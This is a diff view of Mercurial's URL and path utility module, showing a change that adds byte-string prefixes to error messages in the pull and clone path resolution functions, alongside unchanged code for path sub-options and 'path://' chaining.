571 else:
573 else:
572 # Try to resolve as a local path or URI.
574 # Try to resolve as a local path or URI.
573 path = try_path(ui, source)
575 path = try_path(ui, source)
574 if path is not None:
576 if path is not None:
575 urls.append(path.rawloc)
577 urls.append(path.rawloc)
576 else:
578 else:
577 urls.append(source)
579 urls.append(source)
578 if len(urls) != 1:
580 if len(urls) != 1:
579 if source is None:
581 if source is None:
580 msg = _("default path points to %d urls while %s only supports one")
582 msg = _(
583 b"default path points to %d urls while %s only supports one"
584 )
581 msg %= (len(urls), action)
585 msg %= (len(urls), action)
582 else:
586 else:
583 msg = _("path points to %d urls while %s only supports one: %s")
587 msg = _(b"path points to %d urls while %s only supports one: %s")
584 msg %= (len(urls), action, source)
588 msg %= (len(urls), action, source)
585 raise error.Abort(msg)
589 raise error.Abort(msg)
586 return parseurl(urls[0], default_branches)
590 return parseurl(urls[0], default_branches)
587
591
588
592
589 def get_clone_path(ui, source, default_branches=()):
593 def get_clone_path(ui, source, default_branches=()):
590 """return the `(origsource, path, branch)` selected as clone source"""
594 """return the `(origsource, path, branch)` selected as clone source"""
591 urls = []
595 urls = []
592 if source is None:
596 if source is None:
593 if b'default' in ui.paths:
597 if b'default' in ui.paths:
594 urls.extend(p.rawloc for p in ui.paths[b'default'])
598 urls.extend(p.rawloc for p in ui.paths[b'default'])
595 else:
599 else:
596 # XXX this is the historical default behavior, but that is not
600 # XXX this is the historical default behavior, but that is not
597 # great, consider breaking BC on this.
601 # great, consider breaking BC on this.
598 urls.append(b'default')
602 urls.append(b'default')
599 else:
603 else:
600 if source in ui.paths:
604 if source in ui.paths:
601 urls.extend(p.rawloc for p in ui.paths[source])
605 urls.extend(p.rawloc for p in ui.paths[source])
602 else:
606 else:
603 # Try to resolve as a local path or URI.
607 # Try to resolve as a local path or URI.
604 path = try_path(ui, source)
608 path = try_path(ui, source)
605 if path is not None:
609 if path is not None:
606 urls.append(path.rawloc)
610 urls.append(path.rawloc)
607 else:
611 else:
608 urls.append(source)
612 urls.append(source)
609 if len(urls) != 1:
613 if len(urls) != 1:
610 if source is None:
614 if source is None:
611 msg = _(
615 msg = _(
612 "default path points to %d urls while only one is supported"
616 b"default path points to %d urls while only one is supported"
613 )
617 )
614 msg %= len(urls)
618 msg %= len(urls)
615 else:
619 else:
616 msg = _("path points to %d urls while only one is supported: %s")
620 msg = _(b"path points to %d urls while only one is supported: %s")
617 msg %= (len(urls), source)
621 msg %= (len(urls), source)
618 raise error.Abort(msg)
622 raise error.Abort(msg)
619 url = urls[0]
623 url = urls[0]
620 clone_path, branch = parseurl(url, default_branches)
624 clone_path, branch = parseurl(url, default_branches)
621 return url, clone_path, branch
625 return url, clone_path, branch
622
626
623
627
624 def parseurl(path, branches=None):
628 def parseurl(path, branches=None):
625 '''parse url#branch, returning (url, (branch, branches))'''
629 '''parse url#branch, returning (url, (branch, branches))'''
626 u = url(path)
630 u = url(path)
627 branch = None
631 branch = None
628 if u.fragment:
632 if u.fragment:
629 branch = u.fragment
633 branch = u.fragment
630 u.fragment = None
634 u.fragment = None
631 return bytes(u), (branch, branches or [])
635 return bytes(u), (branch, branches or [])
632
636
633
637
634 class paths(dict):
638 class paths(dict):
635 """Represents a collection of paths and their configs.
639 """Represents a collection of paths and their configs.
636
640
637 Data is initially derived from ui instances and the config files they have
641 Data is initially derived from ui instances and the config files they have
638 loaded.
642 loaded.
639 """
643 """
640
644
641 def __init__(self, ui):
645 def __init__(self, ui):
642 dict.__init__(self)
646 dict.__init__(self)
643
647
644 home_path = os.path.expanduser(b'~')
648 home_path = os.path.expanduser(b'~')
645
649
646 for name, value in ui.configitems(b'paths', ignoresub=True):
650 for name, value in ui.configitems(b'paths', ignoresub=True):
647 # No location is the same as not existing.
651 # No location is the same as not existing.
648 if not value:
652 if not value:
649 continue
653 continue
650 _value, sub_opts = ui.configsuboptions(b'paths', name)
654 _value, sub_opts = ui.configsuboptions(b'paths', name)
651 s = ui.configsource(b'paths', name)
655 s = ui.configsource(b'paths', name)
652 root_key = (name, value, s)
656 root_key = (name, value, s)
653 root = ui._path_to_root.get(root_key, home_path)
657 root = ui._path_to_root.get(root_key, home_path)
654
658
655 multi_url = sub_opts.get(b'multi-urls')
659 multi_url = sub_opts.get(b'multi-urls')
656 if multi_url is not None and stringutil.parsebool(multi_url):
660 if multi_url is not None and stringutil.parsebool(multi_url):
657 base_locs = stringutil.parselist(value)
661 base_locs = stringutil.parselist(value)
658 else:
662 else:
659 base_locs = [value]
663 base_locs = [value]
660
664
661 paths = []
665 paths = []
662 for loc in base_locs:
666 for loc in base_locs:
663 loc = os.path.expandvars(loc)
667 loc = os.path.expandvars(loc)
664 loc = os.path.expanduser(loc)
668 loc = os.path.expanduser(loc)
665 if not hasscheme(loc) and not os.path.isabs(loc):
669 if not hasscheme(loc) and not os.path.isabs(loc):
666 loc = os.path.normpath(os.path.join(root, loc))
670 loc = os.path.normpath(os.path.join(root, loc))
667 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
671 p = path(ui, name, rawloc=loc, suboptions=sub_opts)
668 paths.append(p)
672 paths.append(p)
669 self[name] = paths
673 self[name] = paths
670
674
671 for name, old_paths in sorted(self.items()):
675 for name, old_paths in sorted(self.items()):
672 new_paths = []
676 new_paths = []
673 for p in old_paths:
677 for p in old_paths:
674 new_paths.extend(_chain_path(p, ui, self))
678 new_paths.extend(_chain_path(p, ui, self))
675 self[name] = new_paths
679 self[name] = new_paths
676
680
677 def getpath(self, ui, name, default=None):
681 def getpath(self, ui, name, default=None):
678 """Return a ``path`` from a string, falling back to default.
682 """Return a ``path`` from a string, falling back to default.
679
683
680 ``name`` can be a named path or locations. Locations are filesystem
684 ``name`` can be a named path or locations. Locations are filesystem
681 paths or URIs.
685 paths or URIs.
682
686
683 Returns None if ``name`` is not a registered path, a URI, or a local
687 Returns None if ``name`` is not a registered path, a URI, or a local
684 path to a repo.
688 path to a repo.
685 """
689 """
686 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
690 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
687 ui.deprecwarn(msg, '6.0')
691 ui.deprecwarn(msg, '6.0')
688 # Only fall back to default if no path was requested.
692 # Only fall back to default if no path was requested.
689 if name is None:
693 if name is None:
690 if not default:
694 if not default:
691 default = ()
695 default = ()
692 elif not isinstance(default, (tuple, list)):
696 elif not isinstance(default, (tuple, list)):
693 default = (default,)
697 default = (default,)
694 for k in default:
698 for k in default:
695 try:
699 try:
696 return self[k][0]
700 return self[k][0]
697 except KeyError:
701 except KeyError:
698 continue
702 continue
699 return None
703 return None
700
704
701 # Most likely empty string.
705 # Most likely empty string.
702 # This may need to raise in the future.
706 # This may need to raise in the future.
703 if not name:
707 if not name:
704 return None
708 return None
705 if name in self:
709 if name in self:
706 return self[name][0]
710 return self[name][0]
707 else:
711 else:
708 # Try to resolve as a local path or URI.
712 # Try to resolve as a local path or URI.
709 path = try_path(ui, name)
713 path = try_path(ui, name)
710 if path is None:
714 if path is None:
711 raise error.RepoError(_(b'repository %s does not exist') % name)
715 raise error.RepoError(_(b'repository %s does not exist') % name)
712 return path.rawloc
716 return path.rawloc
713
717
714
718
715 _pathsuboptions = {}
719 _pathsuboptions = {}
716
720
717
721
718 def pathsuboption(option, attr):
722 def pathsuboption(option, attr):
719 """Decorator used to declare a path sub-option.
723 """Decorator used to declare a path sub-option.
720
724
721 Arguments are the sub-option name and the attribute it should set on
725 Arguments are the sub-option name and the attribute it should set on
722 ``path`` instances.
726 ``path`` instances.
723
727
724 The decorated function will receive as arguments a ``ui`` instance,
728 The decorated function will receive as arguments a ``ui`` instance,
725 ``path`` instance, and the string value of this option from the config.
729 ``path`` instance, and the string value of this option from the config.
726 The function should return the value that will be set on the ``path``
730 The function should return the value that will be set on the ``path``
727 instance.
731 instance.
728
732
729 This decorator can be used to perform additional verification of
733 This decorator can be used to perform additional verification of
730 sub-options and to change the type of sub-options.
734 sub-options and to change the type of sub-options.
731 """
735 """
732
736
733 def register(func):
737 def register(func):
734 _pathsuboptions[option] = (attr, func)
738 _pathsuboptions[option] = (attr, func)
735 return func
739 return func
736
740
737 return register
741 return register
738
742
739
743
740 @pathsuboption(b'pushurl', b'pushloc')
744 @pathsuboption(b'pushurl', b'pushloc')
741 def pushurlpathoption(ui, path, value):
745 def pushurlpathoption(ui, path, value):
742 u = url(value)
746 u = url(value)
743 # Actually require a URL.
747 # Actually require a URL.
744 if not u.scheme:
748 if not u.scheme:
745 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
749 msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n')
746 msg %= (path.name, value)
750 msg %= (path.name, value)
747 ui.warn(msg)
751 ui.warn(msg)
748 return None
752 return None
749
753
750 # Don't support the #foo syntax in the push URL to declare branch to
754 # Don't support the #foo syntax in the push URL to declare branch to
751 # push.
755 # push.
752 if u.fragment:
756 if u.fragment:
753 ui.warn(
757 ui.warn(
754 _(
758 _(
755 b'("#fragment" in paths.%s:pushurl not supported; '
759 b'("#fragment" in paths.%s:pushurl not supported; '
756 b'ignoring)\n'
760 b'ignoring)\n'
757 )
761 )
758 % path.name
762 % path.name
759 )
763 )
760 u.fragment = None
764 u.fragment = None
761
765
762 return bytes(u)
766 return bytes(u)
763
767
764
768
765 @pathsuboption(b'pushrev', b'pushrev')
769 @pathsuboption(b'pushrev', b'pushrev')
766 def pushrevpathoption(ui, path, value):
770 def pushrevpathoption(ui, path, value):
767 return value
771 return value
768
772
769
773
770 @pathsuboption(b'multi-urls', b'multi_urls')
774 @pathsuboption(b'multi-urls', b'multi_urls')
771 def multiurls_pathoption(ui, path, value):
775 def multiurls_pathoption(ui, path, value):
772 res = stringutil.parsebool(value)
776 res = stringutil.parsebool(value)
773 if res is None:
777 if res is None:
774 ui.warn(
778 ui.warn(
775 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
779 _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name
776 )
780 )
777 res = False
781 res = False
778 return res
782 return res
779
783
780
784
781 def _chain_path(base_path, ui, paths):
785 def _chain_path(base_path, ui, paths):
782 """return the result of "path://" logic applied on a given path"""
786 """return the result of "path://" logic applied on a given path"""
783 new_paths = []
787 new_paths = []
784 if base_path.url.scheme != b'path':
788 if base_path.url.scheme != b'path':
785 new_paths.append(base_path)
789 new_paths.append(base_path)
786 else:
790 else:
787 assert base_path.url.path is None
791 assert base_path.url.path is None
788 sub_paths = paths.get(base_path.url.host)
792 sub_paths = paths.get(base_path.url.host)
789 if sub_paths is None:
793 if sub_paths is None:
790 m = _(b'cannot use `%s`, "%s" is not a known path')
794 m = _(b'cannot use `%s`, "%s" is not a known path')
791 m %= (base_path.rawloc, base_path.url.host)
795 m %= (base_path.rawloc, base_path.url.host)
792 raise error.Abort(m)
796 raise error.Abort(m)
793 for subpath in sub_paths:
797 for subpath in sub_paths:
794 path = base_path.copy()
798 path = base_path.copy()
795 if subpath.raw_url.scheme == b'path':
799 if subpath.raw_url.scheme == b'path':
796 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
800 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
797 m %= (path.rawloc, path.url.host)
801 m %= (path.rawloc, path.url.host)
798 raise error.Abort(m)
802 raise error.Abort(m)
799 path.url = subpath.url
803 path.url = subpath.url
800 path.rawloc = subpath.rawloc
804 path.rawloc = subpath.rawloc
801 path.loc = subpath.loc
805 path.loc = subpath.loc
802 if path.branch is None:
806 if path.branch is None:
803 path.branch = subpath.branch
807 path.branch = subpath.branch
804 else:
808 else:
805 base = path.rawloc.rsplit(b'#', 1)[0]
809 base = path.rawloc.rsplit(b'#', 1)[0]
806 path.rawloc = b'%s#%s' % (base, path.branch)
810 path.rawloc = b'%s#%s' % (base, path.branch)
807 suboptions = subpath._all_sub_opts.copy()
811 suboptions = subpath._all_sub_opts.copy()
808 suboptions.update(path._own_sub_opts)
812 suboptions.update(path._own_sub_opts)
809 path._apply_suboptions(ui, suboptions)
813 path._apply_suboptions(ui, suboptions)
810 new_paths.append(path)
814 new_paths.append(path)
811 return new_paths
815 return new_paths
812
816
813
817
814 class path(object):
818 class path(object):
815 """Represents an individual path and its configuration."""
819 """Represents an individual path and its configuration."""
816
820
817 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
821 def __init__(self, ui=None, name=None, rawloc=None, suboptions=None):
818 """Construct a path from its config options.
822 """Construct a path from its config options.
819
823
820 ``ui`` is the ``ui`` instance the path is coming from.
824 ``ui`` is the ``ui`` instance the path is coming from.
821 ``name`` is the symbolic name of the path.
825 ``name`` is the symbolic name of the path.
822 ``rawloc`` is the raw location, as defined in the config.
826 ``rawloc`` is the raw location, as defined in the config.
823 ``pushloc`` is the raw locations pushes should be made to.
827 ``pushloc`` is the raw locations pushes should be made to.
824
828
825 If ``name`` is not defined, we require that the location be a) a local
829 If ``name`` is not defined, we require that the location be a) a local
826 filesystem path with a .hg directory or b) a URL. If not,
830 filesystem path with a .hg directory or b) a URL. If not,
827 ``ValueError`` is raised.
831 ``ValueError`` is raised.
828 """
832 """
829 if ui is None:
833 if ui is None:
830 # used in copy
834 # used in copy
831 assert name is None
835 assert name is None
832 assert rawloc is None
836 assert rawloc is None
833 assert suboptions is None
837 assert suboptions is None
834 return
838 return
835
839
836 if not rawloc:
840 if not rawloc:
837 raise ValueError(b'rawloc must be defined')
841 raise ValueError(b'rawloc must be defined')
838
842
839 # Locations may define branches via syntax <base>#<branch>.
843 # Locations may define branches via syntax <base>#<branch>.
840 u = url(rawloc)
844 u = url(rawloc)
841 branch = None
845 branch = None
842 if u.fragment:
846 if u.fragment:
843 branch = u.fragment
847 branch = u.fragment
844 u.fragment = None
848 u.fragment = None
845
849
846 self.url = u
850 self.url = u
847 # the url from the config/command line before dealing with `path://`
851 # the url from the config/command line before dealing with `path://`
848 self.raw_url = u.copy()
852 self.raw_url = u.copy()
849 self.branch = branch
853 self.branch = branch
850
854
851 self.name = name
855 self.name = name
852 self.rawloc = rawloc
856 self.rawloc = rawloc
853 self.loc = b'%s' % u
857 self.loc = b'%s' % u
854
858
855 self._validate_path()
859 self._validate_path()
856
860
857 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
861 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
858 self._own_sub_opts = {}
862 self._own_sub_opts = {}
859 if suboptions is not None:
863 if suboptions is not None:
860 self._own_sub_opts = suboptions.copy()
864 self._own_sub_opts = suboptions.copy()
861 sub_opts.update(suboptions)
865 sub_opts.update(suboptions)
862 self._all_sub_opts = sub_opts.copy()
866 self._all_sub_opts = sub_opts.copy()
863
867
864 self._apply_suboptions(ui, sub_opts)
868 self._apply_suboptions(ui, sub_opts)
865
869
866 def copy(self):
870 def copy(self):
867 """make a copy of this path object"""
871 """make a copy of this path object"""
868 new = self.__class__()
872 new = self.__class__()
869 for k, v in self.__dict__.items():
873 for k, v in self.__dict__.items():
870 new_copy = getattr(v, 'copy', None)
874 new_copy = getattr(v, 'copy', None)
871 if new_copy is not None:
875 if new_copy is not None:
872 v = new_copy()
876 v = new_copy()
873 new.__dict__[k] = v
877 new.__dict__[k] = v
874 return new
878 return new
875
879
876 def _validate_path(self):
880 def _validate_path(self):
877 # When given a raw location but not a symbolic name, validate the
881 # When given a raw location but not a symbolic name, validate the
878 # location is valid.
882 # location is valid.
879 if (
883 if (
880 not self.name
884 not self.name
881 and not self.url.scheme
885 and not self.url.scheme
882 and not self._isvalidlocalpath(self.loc)
886 and not self._isvalidlocalpath(self.loc)
883 ):
887 ):
884 raise ValueError(
888 raise ValueError(
885 b'location is not a URL or path to a local '
889 b'location is not a URL or path to a local '
886 b'repo: %s' % self.rawloc
890 b'repo: %s' % self.rawloc
887 )
891 )
888
892
889 def _apply_suboptions(self, ui, sub_options):
893 def _apply_suboptions(self, ui, sub_options):
890 # Now process the sub-options. If a sub-option is registered, its
894 # Now process the sub-options. If a sub-option is registered, its
891 # attribute will always be present. The value will be None if there
895 # attribute will always be present. The value will be None if there
892 # was no valid sub-option.
896 # was no valid sub-option.
893 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
897 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
894 if suboption not in sub_options:
898 if suboption not in sub_options:
895 setattr(self, attr, None)
899 setattr(self, attr, None)
896 continue
900 continue
897
901
898 value = func(ui, self, sub_options[suboption])
902 value = func(ui, self, sub_options[suboption])
899 setattr(self, attr, value)
903 setattr(self, attr, value)
900
904
901 def _isvalidlocalpath(self, path):
905 def _isvalidlocalpath(self, path):
902 """Returns True if the given path is a potentially valid repository.
906 """Returns True if the given path is a potentially valid repository.
903 This is its own function so that extensions can change the definition of
907 This is its own function so that extensions can change the definition of
904 'valid' in this case (like when pulling from a git repo into a hg
908 'valid' in this case (like when pulling from a git repo into a hg
905 one)."""
909 one)."""
906 try:
910 try:
907 return os.path.isdir(os.path.join(path, b'.hg'))
911 return os.path.isdir(os.path.join(path, b'.hg'))
908 # Python 2 may return TypeError. Python 3, ValueError.
912 # Python 2 may return TypeError. Python 3, ValueError.
909 except (TypeError, ValueError):
913 except (TypeError, ValueError):
910 return False
914 return False
911
915
912 @property
916 @property
913 def suboptions(self):
917 def suboptions(self):
914 """Return sub-options and their values for this path.
918 """Return sub-options and their values for this path.
915
919
916 This is intended to be used for presentation purposes.
920 This is intended to be used for presentation purposes.
917 """
921 """
918 d = {}
922 d = {}
919 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
923 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
920 value = getattr(self, attr)
924 value = getattr(self, attr)
921 if value is not None:
925 if value is not None:
922 d[subopt] = value
926 d[subopt] = value
923 return d
927 return d
General Comments 0
You need to be logged in to leave comments. Login now